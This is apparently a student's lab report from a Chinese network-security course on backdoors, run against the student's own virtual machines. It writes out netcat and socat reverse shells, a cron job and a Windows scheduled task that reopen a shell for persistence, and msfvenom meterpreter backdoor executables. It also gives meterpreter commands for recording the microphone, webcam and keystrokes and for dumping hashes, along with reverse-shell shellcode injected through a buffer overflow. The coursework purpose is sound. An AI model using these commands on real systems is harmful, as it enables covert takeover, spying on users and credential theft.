• Exp2后门原理与实践


    Exp2-后门原理与实践

    实验内容 (4分+2分附加题)
    
    (1)使用netcat获取主机操作Shell,cron启动 (1分)
    
    (2)使用socat获取主机操作Shell, 任务计划启动 (1分)
    
    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)
    
    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (1分)
    
    (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(2分)加分内容一并写入本实验报告。
    (评分者注意,附加分写在评论里,不要和主分数混在一起)
    

    一、常用后门工具

    ​ 1.Netcat 、Socat系列

    ​ 2.Meterpreter

    ​ 3.Intersect

    ​ 4.CHAOS……

    ​ 本次实验我们主要使用Netcat 、Socat系列以及Meterpreter。

    二、实验内容

    (一)使用netcat获取主机操作Shell,cron启动

    1.kali获取windows虚拟机的shell

    (1)查看kali虚拟机的IP地址
    ifconfig
    

    image-20220328145638357

    (2)在kali虚拟机中开启监听,端口号以学号为基础指定
    nc -l -p 11310
    

    image-20220328150159057

    (3)windows反弹连接Linux,这里首先在windows下进入ncat所在的文件夹,ip的地址为Linux的地址
    ncat.exe -e cmd.exe 192.168.40.128 11310
    

    image-20220328150237745

    (4)Linux下看到Windows的命令提示,验证shell

    image-20220328150314905

    2.Windows获取kali虚拟机的shell

    (1)获取Windows中的IP地址
    ipconfig
    

    image-20220328150442897

    (2)在ncat文件夹目录下打开监听,端口选择类学号数字
    ncat.exe -l -p 11310
    

    image-20220328150530413

    (3)Linux反弹连接win
    nc 192.168.3.40 11310 -e /bin/sh
    

    $$
    /bin/sh是UNIX命令提供shell去执行shell命令
    $$

    image-20220328150911516

    (4)Windows获得kali的shell,使用linux常用指令验证
    ls pwd whoami
    

    image-20220328150942038

    3.cron启动

    Linux下进行
    ①Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
    man cron
    

    image-20220328151006165

    ②crontab指令增加一条定时任务,"-e"表示编辑
    crontab -e
    

    image-20220328151102338

    ③第一次编辑需要选择,我们选择2选项
    ④设置自启动时间,每个小时的第12分钟执行后面的指令
    12 * * * * /bin/netcat 172.16.229.166 11310 -e /bin/sh
    

    image-20220328151805963

    ⑤在相应的时间节点打开监听,这里我们选择主机Windows

    image-20220328151645226

    时间节点已经到,我们可以看见这里window已经获得了Linux的shell

    (二)使用socat获取主机操作Shell, 任务计划启动

    1.Windows获取kali虚拟机的shell

    (1)Kali开放11310端口
    socat tcp-listen:11310 system:bash,pty,stderr
    

    image-20220328151933829

    (2)Windows连接Kali虚拟机,获取终端,IP地址为Linux地址
    socat - tcp:192.168.40.128:11310
    

    image-20220328152139653

    注意:需要在socat文件目录中运行

    (3)验证终端功能,完全正常
    ls pwd whoami
    

    image-20220328152155118

    2.Kali获取Windows虚拟机的shell

    (1)Windows开放11310端口
    socat tcp-listen:11310 exec:cmd,pty,stderr 
    

    image-20220328152422148

    (2)Kali机连接Windows获取终端
    socat - tcp:192.168.3.40:11310
    

    image-20220328152449576

    (3)验证shell,成功
    dir
    

    image-20220328152452383

    3.Windows下任务计划启动

    (1)创建基本任务,在计算机管理的任务计划程序中进行操作

    image-20220328152707323

    (2)进行触发器、操作的相关设置
    (3)编辑操作时,在参数中写上以下数据
    tcp-listen:11310 exec:cmd,pty,stderr
    
    (4)等待达到相应设计的时间进行观察

    (5)在Kali中进行socat连接,测试shell

    image-20220328153148922

    (三)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    1.Kali端生成后门可执行文件

    Kali执行以下代码

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=11310 -f exe > 20191310_backdoor.exe
    

    image-20220328153413224

    2.利用ncat将后门文件传送到Windows下获取终端

    (1)在Windows的cmd下监听11310端口,获取后门文件
    ncat.exe -l 11310 > 20191310_backdoor.exe
    

    image-20220328153520981

    (2)虚拟机传送后门文件
    nc 192.168.3.40 11310 < 20191310_backdoor.exe
    

    image-20220328154118997

    (3)查看传送结果

    传送成功:

    image-20220328153710003

    image-20220328154133295

    (4)MSF

    ①启动msf

    msfconsole
    

    image-20220328154151376

    ②进行相关设置

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp 
    

    image-20220328154225322

    ③设置LHOST、LPORT

    set LHOST 192.168.40.128
    set LPORT 11310
    

    image-20220328154341324

    (5)进行触发

    exploit
    

    (5)Windows下进行操作,打开后门可执行文件(可以用管理员身份运行)

    (6)获取shell终端,使用dir验证,显示成功

    image-20220328155422956

    (四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    1.获取目标主机音频

    输入以下指令

    record_mic
    

    image-20220328155628310

    2.获取目标摄像头内容

    输入以下指令

    webcam_snap
    

    image-20220328155647333

    3.获取击键记录

    keyscan_start//开始记录
    keyscan_dump//读取
    

    image-20220328155732086

    4.获取截屏信息

    screenshot
    

    image-20220328155811246

    5.尝试提权

    getsystem
    

    根据此处博客设置方法,最终提权成功,在此不再赘述(https://blog.csdn.net/redwand/article/details/107527710)

    6.许多有趣的攻击指令

    	record_mic     Record audio from the default microphone for X seconds
        webcam_chat    Start a video chat
        webcam_list    List webcams
        webcam_snap    Take a snapshot from the specified webcam
        webcam_stream  Play a video stream from the specified webcam
        hashdump       Dumps the contents of the SAM database
        timestomp      Manipulate file MACE attributes
        shell		   getshell
    

    (五)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    1.后门exe文件方法

    ①生成exe可执行文件
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=11310 -x pwn1 -f elf > pwn_exp2
    

    image-20220328160020649

    ②运行生成的文件,注意必须先给生成的文件以权限
    chmod +x pwn_exp2 *给权限*
    ./pwn_exp2 | nc 192.168.3.40 11310 -e /bin/sh *运行文件*
    

    image-20220328161509070

    ③Windows下监听,获取shell并使用以下指令验证shell
    ls whoami pwd
    

    image-20220328161454086

    2.生成shellcode注入

    前期准备,关闭地址随机化并设置堆栈可执行
    image-20220402103244469

    参考陈发强同学的博客网络对抗实验exp2,博客链接

    msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.40.128 LPORT=11310 -f c
    

    image-20220402103412544

    生成的shellcode如下

    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97"
    "\x5b\x68\xc0\xa8\x28\x80\x66\x68\x2c\x2e\x66\x53\x89\xe1\x6a"
    "\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0"
    "\x03\xcd\x80\xff\xe1"
    

    结合exp1中找到的pwn1的返回地址(我的是0xffffd0d0),加在shellcode开头,再在上覆盖缓冲区的随意字符,首先在Kali上生成shellcode在Kali本地测试,用如下代码生成input,然后再按照之前的方法设置msf控制台

    perl -e 'print "A" x 32; print "\xd0\xd0\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x28\x80\x66\x68\x2c\x2e\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"' > input
    

    在一终端运行pwn1
    image-20220402103807641

    在另一终端用msfexploit监听,本地攻击成功

    三、实验总结与体会

    ​ 通过本次实验,我学会了在理想情况下,也就是实验情况下对linux和windows植入后门的操作,这算是我第一次对于后门的实践,这里面包括开启侦听、反弹连接、生成和传送后门程序、利用后门或者传送的程序控制被控主机、修改定时任务列表、使用ncat的加强工具socat获取主机操作Shell等。

    ​ 实验过程中,已经完完全全体会到了攻击者的“乐趣”和攻击成功后的成就感,当看到我的电脑摄像头自己闪光的时候,我想到了斯诺登揭露的那些事,原来这种技术我们就可以实现最简单的实践,这是何其真实和危险!

    ​ 网络安全有关国家安全,这次是真真切切让我感受到了,网络的世界有多少深不可测的高手,网络的空间有多少实实在在的攻击和巧妙的攻击手段,信息安全、网络安全绝对不容忽视!

    ​ 网络安全异常重要,网络对抗的实验真真切切让我学到了很多!我知道了后门的原理并且进行了简单的实践!

    基础问题回答

    例举你能想到的一个后门进入到你系统中的可能方式?

    某些图片也可以被植入后门,如果你下载之后再点开,就会中招

    例举你知道的后门如何启动起来(win及linux)的方式?

    修改系统配置
    创建定时触发任务,添加启动项
    修改默认的Shell程序
    用户运行了带有后面的exe可执行程序
    利用远程控制软件启动

    Meterpreter有哪些给你印象深刻的功能?

    ​ Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。

    z如何发现自己有系统有没有被安装后门?

    内存经常被占用
    病毒打开了许多文件或占用了大量内存。
    电脑中出现了一些不明服务
    某些文件打不开
    病毒修改了文件格式;病毒修改了文件链接位置。文件损坏;硬盘损坏;文件快捷方式对应的链接位置发生了变化;原来编辑文件的软件删除了。
    出现大量来历不明的文件
    后门复制了大量文件。
    电脑自动执行或启动程序
    后门在执行非法操作。

  • 相关阅读:
    ubuntu操作技巧
    电机
    哈佛结构与冯若依曼结构
    linux command ------ ls
    Frames of Reference参考框架
    What Are Tango Poses?Tango姿态是什么?
    Google Tango Java SDK开发:Motion Tracking 运动追踪
    Google Tango Java SDK开发:Configure and Connect 配置和连接
    gradle
    Google Tango service outdated谷歌Tango的服务过时了
  • 原文地址:https://www.cnblogs.com/sisterben/p/16067688.html
Copyright © 2020-2023  润新知